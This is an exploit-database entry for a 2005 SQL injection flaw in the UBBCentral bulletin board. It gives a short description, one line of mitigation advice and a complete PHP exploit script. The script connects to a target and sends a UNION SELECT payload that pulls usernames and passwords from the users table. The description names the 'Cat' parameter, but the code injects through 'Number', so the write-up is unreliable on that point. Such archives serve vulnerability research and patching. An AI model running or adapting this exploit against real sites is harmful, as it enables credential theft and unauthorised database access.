UBBCentral SQL Injection

vendor:

UBBCentral

by:

MH_p0rtal

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: UBBCentral

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2005

This exploit allows an attacker to inject malicious SQL code into the vulnerable UBBCentral application. The vulnerable code is located in the mailthread.php file, which is used to display messages from a bulletin board. The attacker can inject malicious SQL code into the 'Cat' parameter, which is not properly sanitized before being used in a SQL query. This can allow the attacker to gain access to sensitive information from the database, such as usernames and passwords.

Mitigation:

Input validation should be used to prevent SQL injection attacks. All user-supplied input should be validated and filtered before being used in a SQL query.

Source

Exploit-DB raw data:

<?php
#############################################################################
#      T r a p - S e t   U n d e r g r o u n d   H a c k i n g   T e a m
#############################################################################
# Vulnerable:   UBBCentral SQL Injection
#
# Exploit By :  MH_p0rtal
#
# Discovered By: James Bercegay
#############################################################################
#  Gr33tz To ==>   Alpha_programmer , Oil_karchack , The_CephaleX , Str0ke
#
#  And Iranian Hacking & Security Teams :
#  IHS TeaM , alphaST , Shabgard Security Team  , Emperor Hacking Team  ,
#  Crouz Security Team  & Simorgh-ev Security Team
#############################################################################
# ___________Config :
# please replace your address :
$url = "http:///www.example.com";
# please replace your dir address :
$dirs = "/dir/to/ubbt/";
# __________End Config
#############################################################################
$aa = strlen ( $dirs );
$ab = $aa - 1;
$ac = 0;
if ((  $dirs[$ab] == "/" )  &&  ( $dirs[$ac] == "/" ))   {
$merg = $dirs.mailthread.php;
$fc = fsockopen("$url", 80, $errno, $errstr, 30);
if (!$fc) {

echo "Can't Connect\n";
} else {
   $mh = "GET $merg?Cat=0&Board=UBB2&Number=-99'%20UNION%20SELECT%20U_Username,U_Password%20FROM%20w3t_Users%20WHERE%20U_Username%20=%20'victim'/*&page=0&vc=1&fpart=1&what=showflat  HTTP/1.1\r\n";
   $mh .= "Host: $url\r\n";
   $mh .= "Connection: Close\r\n\r\n";

  fwrite($fc, $mh);
  while (!feof($fc)) {
  echo fgets($fc, 1024);
  }
   fclose($fc);
}
} else {
echo " Your pattern doesn't equal with Exploit directory pattern ";
}
?>

# milw0rm.com [2005-06-25]